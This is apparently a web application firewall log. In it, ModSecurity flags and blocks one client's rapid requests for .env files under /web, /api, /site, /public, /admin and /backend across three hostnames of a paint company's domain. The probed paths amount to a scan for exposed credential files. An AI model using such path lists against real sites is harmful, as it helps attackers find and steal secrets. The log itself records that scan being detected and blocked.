[Sun Oct 25 02:18:57.851069 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAwAAAAs"]
[Sun Oct 25 02:18:57.897117 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUgAAAAI"]
[Sun Oct 25 02:18:57.897383 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUgAAAAI"]
[Sun Oct 25 02:18:57.897765 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUgAAAAI"]
[Sun Oct 25 02:18:57.973087 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WgAAAAo"]
[Sun Oct 25 02:18:57.973382 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WgAAAAo"]
[Sun Oct 25 02:18:57.973774 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WgAAAAo"]
[Sun Oct 25 02:18:58.085080 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBAAAAAs"]
[Sun Oct 25 02:18:58.085364 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBAAAAAs"]
[Sun Oct 25 02:18:58.085764 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBAAAAAs"]
[Sun Oct 25 02:18:58.192674 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhUwAAAAI"]
[Sun Oct 25 02:18:58.192948 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhUwAAAAI"]
[Sun Oct 25 02:18:58.193382 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhUwAAAAI"]
[Sun Oct 25 02:18:58.231799 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7WwAAAAo"]
[Sun Oct 25 02:18:58.232081 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7WwAAAAo"]
[Sun Oct 25 02:18:58.232507 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7WwAAAAo"]
[Sun Oct 25 02:18:58.350353 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBQAAAAs"]
[Sun Oct 25 02:18:58.350650 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBQAAAAs"]
[Sun Oct 25 02:18:58.350926 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBQAAAAs"]
[Sun Oct 25 02:18:58.532259 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XAAAAAo"]
[Sun Oct 25 02:18:58.532695 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XAAAAAo"]
[Sun Oct 25 02:18:58.533179 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XAAAAAo"]
[Sun Oct 25 02:18:58.534865 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVAAAAAI"]
[Sun Oct 25 02:18:58.535116 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVAAAAAI"]
[Sun Oct 25 02:18:58.535453 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVAAAAAI"]
[Sun Oct 25 02:18:58.619621 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBgAAAAs"]
[Sun Oct 25 02:18:58.620001 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBgAAAAs"]
[Sun Oct 25 02:18:58.620516 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBgAAAAs"]
[Sun Oct 25 02:18:58.827099 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVQAAAAI"]
[Sun Oct 25 02:18:58.827408 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVQAAAAI"]
[Sun Oct 25 02:18:58.827926 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at2fUlTnwNJm6o1fQZIhVQAAAAI"]
[Sun Oct 25 02:18:58.829165 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XQAAAAo"]
[Sun Oct 25 02:18:58.829325 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XQAAAAo"]
[Sun Oct 25 02:18:58.829582 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at2fUlyqe9jgJ5nfJHB7XQAAAAo"]
[Sun Oct 25 02:18:58.881146 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBwAAAAs"]
[Sun Oct 25 02:18:58.881465 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBwAAAAs"]
[Sun Oct 25 02:18:58.881810 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fUnqPPT_6tJCMTRvuBwAAAAs"]
[Sun Oct 25 02:18:59.084516 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVgAAAAI"]
[Sun Oct 25 02:18:59.084786 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2fU1TnwNJm6o1fQZIhVgAAAAI"]
